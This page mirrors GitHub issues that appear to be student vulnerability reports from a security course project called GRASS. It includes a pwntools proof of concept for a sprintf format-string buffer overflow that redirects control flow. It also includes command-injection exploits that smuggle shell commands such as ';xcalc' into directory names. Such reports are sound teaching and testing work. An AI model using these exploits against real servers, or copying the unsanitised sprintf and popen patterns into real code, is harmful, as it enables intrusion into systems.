Giter VIP home page Giter VIP logo

grass's People

Contributors

lukasgelbmann avatar

Watchers

 avatar

grass's Issues

exploits.zip replacement

Our commited version of exploits.zip was missing an exploit. We have now managed to do the exploit and would like to offer a newer version of exploits.zip with the missing exploit (number 3) included. The password is the same for both zip files.

I didn't want to add it in another commit because that could have caused some confusion.

Format String Buffer Overflow

An unsafe call to sprintf that can lead to control flow redirection through a format string based buffer overflow.

Please find below a description of the vulnerability as well as a PoC.

Important notes:

  • The PoC assumes a users u1 with password p1 exists.
  • The addresses and offsets on the PoC are tuned for a fresh Kali VM. They may have to be changed depending on the machine (the following description explains how to find them).

Where

Repository

https://github.com/LukasGelbmann/GRASS

Location

spirntf in src/parsing.cpp at line 16

std::string bufferToString(char *buffer) {
    char placeHolder[bufferSize];
    sprintf(placeHolder, buffer);
    std::string ret;
    ret.assign(placeHolder);
    return ret;
}

Vulnerability

The call to sprintf

sprintf is called as follows:

sprintf(placeHolder, buffer);

The first parameter (placeHolder) is defined just one line above as a char buffer of size bufferSize, which is equal to 420 (see include/parsing.hpp at line 7).

The format string parameter (buffer) corresponds to the char * passed to the function bufferToString. A call to this function is made at line 62 of the file src/server/systemcmd.cpp inside command_with_output. command_with_output is used by commands that produces output, and calls bufferToString passing to it one line of the command output.

For this exploit we will consider a call to ls (which involves a call to command_with_output and thus executes the vulnerable sprintf).

Analysis

Given what above, there are a few observation we can do:

  • sprintf copies an arbitrary number of characters, thus we have a potential buffer overflow.
  • In the case of ls, the value of buffer is a directory name, which can have at most size 128.
  • Through mkdir we can create directories, this enable us to control the value of buffer, the format string, when a call to ls is made.

What we cannot do

A simple buffer overflow: 128 characters aren't enough to overflow a buffer of size 420.

Use the format string to do an arbitrary write overriding a return address: this will require writing much more than 420 characters to the "screen", it will overflow placeHolder by a lot and mess up the whole stack.

What we can do

Take advantage of the format string to perform a buffer overflow. In fact, thanks to %Nc we can insert N characters in placeHolder while having a directory name of only a few characters. The idea is thus to find the right offset and override the eip with the address of hijack_flow.

Exploit

Setup

Launch the server and attach gdb to it (sudo gdb -p PROCESS_ID).

Gather information

Obtain the address of hijack_flow: simply run disassemble hijack_flow in gdb.

Find out the offset of eip from the buffer. To do so we take advantage of the pattern command in gdb:

  1. Run pattern create 25, which creates a pattern of 25 characters.
  2. Launch a client and use mkdir to create a directory named %385c followed by the pattern.
  3. The server segfaults because it's trying to access a non valid address, in gdb we can see that address.
  4. If our offset guess (385) was good enough, this address should be composed by four characters of our pattern. Assume it was aaad, then running pattern search aaad will give use the exact offset.

Exploiting the Vulnerability (PoC)

from pwn import *

""""
Repository: https://github.com/LukasGelbmann/GRASS
Location:   src/parsing.cpp (line 16)
"""

ADDRESS = "127.0.0.1"
PORT = 1337

# Target address and offset
hijack_addr = 0x0805bf50
offset = 406

# Connect to server
r = remote(ADDRESS, PORT)

# Build exploit string
exploit = '%' + str(offset) + 'c'
exploit += p32(hijack_addr)

# Login
r.sendline('login u1')
sleep(1)
r.sendline('pass p1')
sleep(1)

# Create format string directory
r.sendline('mkdir ' + exploit)
sleep(1)

# Trigger bug
r.sendline('ls')
r.interactive()

Command Injection : Grep

I assumed mkdir should not be able to create directories with invalid characters that
allow for command injections. This was not specified by the project description so it
is my assumption.
Mkdir does not sanitize the name of the directory and thus an attacker is able to write a command injection as the name of the directory. Later on functions may use the absolute path without checking for invalid characters and they will perform the injected command.
We can see in their function ​ mkdir ​ in systemcmd.cpp :

std::string command = cmd +" "+ dirname;
system​ (command.​ c_str​ ());

Then function ​ void grep(conn& conn, std::string pattern)​ in file
commands.cpp (line 523) is able to trigger the command injection.
First it will create a vector containing all files’ strings using
fetch_all_files_from_dir()​ in file filefetching.cp. This function will
itself call ​ command_with_output()​ from systemcmd.cpp which contains the
following line (48) :

if (0 == (fpipe = (FILE*)popen((cmd + " " + dirname).c_str(),"r")))

We can see that the corrupted directory name is appended without
sanitization and thus will potentially cause a command injection.
This allows an attacker to do the following suite of commands to spawn a calculator:
login KevinMitnick
pass FreeKevin
mkdir ;xcalc
cd ;xcalc
grep "rekt"

Command injection in grep

Vulnerability location

The vulnerability is in systemcmd.cpp at line 48:

if (0 == (fpipe = (FILE*)popen((cmd + " " + dirname).c_str(), "r")))

When a grep command is executed, the grep function in command.cpp (line 535) calls FileFetching::fetch_all_files_from_dir which itself calls SystemCommands::command_with_output on all subdirectories. The latter function is called iteratvely in order to fetch all files in the (sub)directory by executing “ls “ + directory_name. If a directory named a;xcalc was created before executing grep, SystemCommands::command_with_output will be called with the command ls and the directory name a;xcalc. Then, the call to popen in file systemcmd.cpp (line 48) will execute the command ls a;xcalc, which will open a calculator.

Exploit commands

login Acidburn 
pass CrashOverride
mkdir a;xcalc
grep a

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.